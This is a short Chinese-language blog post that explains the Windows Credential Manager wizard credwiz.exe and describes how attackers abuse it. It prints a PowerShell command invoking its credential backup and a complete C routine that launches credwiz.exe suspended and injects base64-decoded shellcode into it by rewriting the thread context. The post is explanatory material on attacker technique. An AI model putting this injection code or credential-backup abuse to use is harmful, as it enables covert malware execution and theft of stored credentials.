【WinFile】credwiz.exe

概述:Windows credwiz.exe 文件说明。本文主要说明其基本功能和被使用场景。

相关文章推荐:

credwiz.exe 是什么

credwisz.exe 是一个与 Windows Credential Manager 相关联的文件,该功能允许用户安全地存储和管理用户凭证,如用户名和密码。

启动后,credwiz.exe 打开 Windows 凭据管理器,允许用户查看、添加或备份、恢复或删除各种应用程序和网站的存储凭据。

credwiz.exe 利用

了解到 Credwiz.exe 可以备份用户账户凭证,就不难想象其可能会被利用的场景。

在很多 Windows 后门模块中,就有调用 Credwiz 来备份用户账户凭证的场景。

1
2
# 使用 credwiz.exe 备份凭据
Start-Process -FilePath "C:\Windows\System32\credwiz.exe" -ArgumentList "/backup" -Wait

以及被用来注入 ShellCode。Credwiz 是 Windows 的一个合法进程,拥有较高权限,容易被利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
VOID InjectShellcode(OUT LPVOID lpOutputData, IN LPVOID lpInputData) {

DWORD dwB64Size = MAX_DATA;
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

BOOL bSuccess = CreateProcess(L"C:\\Windows\\System32\\credwiz.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// Allocate space for shellcode.
LPVOID lpShellcode = VirtualAllocEx(pi.hProcess, NULL, MAX_DATA, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
LPVOID lpTemp = VirtualAlloc(NULL, MAX_DATA, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


DWORD dwB64 = 4096;
CryptStringToBinaryA((LPCSTR)lpInputData, 0, CRYPT_STRING_BASE64, (BYTE*)lpTemp, &dwB64, NULL, NULL);

SIZE_T dwWritten = 0;

WriteProcessMemory(pi.hProcess, lpShellcode, lpTemp, MAX_DATA, &dwWritten);

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

GetThreadContext(pi.hThread, &ctx);

#ifdef _WIN64
ctx.Rip = (DWORD64)lpShellcode;
#else
ctx.Eip = (DWORD64)lpShellcode;
#endif

SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

VirtualFree(lpTemp, MAX_DATA, MEM_DECOMMIT);

CopyMemory(lpOutputData, "DONE" ,4);

}

上述 shellcode 可能被用来加载一些恶意 dll,实现恶意代码的执行。


【WinFile】credwiz.exe
https://hodlyounger.github.io/A_OS/Windows/Windows 文件/【WinFile】credwiz/
作者
mingming
发布于
2024年7月22日
许可协议